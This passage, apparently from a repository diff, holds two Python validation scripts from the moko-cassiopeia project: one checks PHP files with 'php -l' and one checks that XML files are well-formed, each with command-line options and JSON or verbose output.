DEFGROUP: Moko-Cassiopeia.Scripts
INGROUP: Scripts.Validate
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
PATH: /scripts/validate/php_syntax.py
VERSION: 01.00.00
BRIEF: Validate PHP syntax in all PHP files
"""
import argparse
import subprocess
import sys
from pathlib import Path
from typing import List, Tuple
# Add lib directory to path
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
try:
import common
except ImportError:
print("ERROR: Cannot import required libraries", file=sys.stderr)
sys.exit(1)
def check_php_file(file_path: Path) -> Tuple[bool, str]:
"""
Check PHP syntax of a single file.
Args:
file_path: Path to PHP file
Returns:
Tuple of (is_valid, error_message)
"""
try:
result = subprocess.run(
["php", "-l", str(file_path)],
capture_output=True,
text=True,
timeout=10
)
if result.returncode == 0:
return (True, "")
else:
return (False, result.stderr or result.stdout)
except subprocess.TimeoutExpired:
return (False, "Syntax check timed out")
except Exception as e:
return (False, str(e))
def find_php_files(src_dir: str, exclude_dirs: List[str] = None) -> List[Path]:
"""
Find all PHP files in a directory.
Args:
src_dir: Directory to search
exclude_dirs: Directories to exclude
Returns:
List of PHP file paths
"""
if exclude_dirs is None:
exclude_dirs = ["vendor", "node_modules", ".git"]
src_path = Path(src_dir)
if not src_path.is_dir():
return []
php_files = []
for php_file in src_path.rglob("*.php"):
# Check if file is in an excluded directory
if any(excluded in php_file.parts for excluded in exclude_dirs):
continue
php_files.append(php_file)
return sorted(php_files)
def main() -> int:
"""Main entry point."""
parser = argparse.ArgumentParser(
description="Validate PHP syntax in all PHP files",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument(
"-s", "--src-dir",
default="src",
help="Source directory to search for PHP files (default: src)"
)
parser.add_argument(
"-v", "--verbose",
action="store_true",
help="Show detailed output"
)
parser.add_argument(
"--exclude",
action="append",
help="Directories to exclude (can be specified multiple times)"
)
parser.add_argument(
"files",
nargs="*",
help="Specific files to check (optional)"
)
args = parser.parse_args()
# Check if PHP is available
common.require_cmd("php")
try:
# Determine which files to check
if args.files:
php_files = [Path(f) for f in args.files]
for f in php_files:
if not f.is_file():
common.die(f"File not found: {f}")
else:
exclude_dirs = args.exclude or ["vendor", "node_modules", ".git"]
php_files = find_php_files(args.src_dir, exclude_dirs)
if not php_files:
common.die(f"No PHP files found in {args.src_dir}")
if args.verbose:
common.log_section("PHP Syntax Validation")
common.log_info(f"Checking {len(php_files)} PHP file(s)")
print()
errors = []
for php_file in php_files:
is_valid, error_msg = check_php_file(php_file)
if is_valid:
if args.verbose:
common.log_success(f"OK: {php_file}")
else:
errors.append((php_file, error_msg))
if args.verbose:
common.log_error(f"FAILED: {php_file}")
if error_msg:
print(f" {error_msg}")
# Output results
if args.verbose:
print()
if errors:
result = {
"status": "error",
"total": len(php_files),
"passed": len(php_files) - len(errors),
"failed": len(errors),
"errors": [{"file": str(f), "error": e} for f, e in errors]
}
if not args.verbose:
common.json_output(result)
common.log_error(f"PHP syntax check failed: {len(errors)} error(s)")
if not args.verbose:
for file_path, error_msg in errors:
print(f"ERROR: {file_path}")
if error_msg:
print(f" {error_msg}")
return 1
else:
result = {
"status": "ok",
"total": len(php_files),
"passed": len(php_files)
}
if not args.verbose:
common.json_output(result)
print(f"php_syntax: ok ({len(php_files)} file(s) checked)")
else:
common.log_success(f"All {len(php_files)} PHP file(s) are valid")
return 0
except Exception as e:
common.log_error(f"Validation failed: {e}")
return 1
if __name__ == "__main__":
sys.exit(main())

View File

@@ -0,0 +1,206 @@
#!/usr/bin/env python3
"""
Validate XML well-formedness.
Copyright (C) 2025 Moko Consulting <hello@mokoconsulting.tech>
This file is part of a Moko Consulting project.
SPDX-License-Identifier: GPL-3.0-or-later
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program (./LICENSE.md).
FILE INFORMATION
DEFGROUP: Moko-Cassiopeia.Scripts
INGROUP: Scripts.Validate
REPO: https://github.com/mokoconsulting-tech/moko-cassiopeia
PATH: /scripts/validate/xml_wellformed.py
VERSION: 01.00.00
BRIEF: Validate XML well-formedness in all XML files
"""
import argparse
import sys
import xml.etree.ElementTree as ET
from pathlib import Path
from typing import List, Tuple
# Add lib directory to path
sys.path.insert(0, str(Path(__file__).parent.parent / "lib"))
try:
import common
except ImportError:
print("ERROR: Cannot import required libraries", file=sys.stderr)
sys.exit(1)
def check_xml_file(file_path: Path) -> Tuple[bool, str]:
"""
Check if an XML file is well-formed.
Args:
file_path: Path to XML file
Returns:
Tuple of (is_valid, error_message)
"""
try:
ET.parse(file_path)
return (True, "")
except ET.ParseError as e:
return (False, str(e))
except Exception as e:
return (False, str(e))
def find_xml_files(src_dir: str, exclude_dirs: List[str] = None) -> List[Path]:
"""
Find all XML files in a directory.
Args:
src_dir: Directory to search
exclude_dirs: Directories to exclude
Returns:
List of XML file paths
"""
if exclude_dirs is None:
exclude_dirs = ["vendor", "node_modules", ".git"]
src_path = Path(src_dir)
if not src_path.is_dir():
return []
xml_files = []
for xml_file in src_path.rglob("*.xml"):
# Check if file is in an excluded directory
if any(excluded in xml_file.parts for excluded in exclude_dirs):
continue
xml_files.append(xml_file)
return sorted(xml_files)
def main() -> int:
"""Main entry point."""
parser = argparse.ArgumentParser(
description="Validate XML well-formedness in all XML files",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument(
"-s", "--src-dir",
default="src",
help="Source directory to search for XML files (default: src)"
)
parser.add_argument(
"-v", "--verbose",
action="store_true",
help="Show detailed output"
)
parser.add_argument(
"--exclude",
action="append",
help="Directories to exclude (can be specified multiple times)"
)
parser.add_argument(
"files",
nargs="*",
help="Specific files to check (optional)"
)
args = parser.parse_args()
try:
# Determine which files to check
if args.files:
xml_files = [Path(f) for f in args.files]
for f in xml_files:
if not f.is_file():
common.die(f"File not found: {f}")
else:
exclude_dirs = args.exclude or ["vendor", "node_modules", ".git"]
xml_files = find_xml_files(args.src_dir, exclude_dirs)
if not xml_files:
common.die(f"No XML files found in {args.src_dir}")
if args.verbose:
common.log_section("XML Well-formedness Validation")
common.log_info(f"Checking {len(xml_files)} XML file(s)")
print()
errors = []
for xml_file in xml_files:
is_valid, error_msg = check_xml_file(xml_file)
if is_valid:
if args.verbose:
common.log_success(f"OK: {xml_file}")
else:
errors.append((xml_file, error_msg))
if args.verbose:
common.log_error(f"FAILED: {xml_file}")
if error_msg:
print(f" {error_msg}")
# Output results
if args.verbose:
print()
if errors:
result = {
"status": "error",
"src_dir": args.src_dir,
"xml_count": len(xml_files),
"passed": len(xml_files) - len(errors),
"failed": len(errors),
"errors": [{"file": str(f), "error": e} for f, e in errors]
}
if not args.verbose:
common.json_output(result)
common.log_error(f"XML validation failed: {len(errors)} error(s)")
if not args.verbose:
for file_path, error_msg in errors:
print(f"ERROR: {file_path}")
if error_msg:
print(f" {error_msg}")
return 1
else:
result = {
"status": "ok",
"src_dir": args.src_dir,
"xml_count": len(xml_files)
}
if not args.verbose:
common.json_output(result)
print(f"xml_wellformed: ok")
else:
common.log_success(f"All {len(xml_files)} XML file(s) are well-formed")
return 0
except Exception as e:
common.log_error(f"Validation failed: {e}")
return 1
if __name__ == "__main__":
sys.exit(main())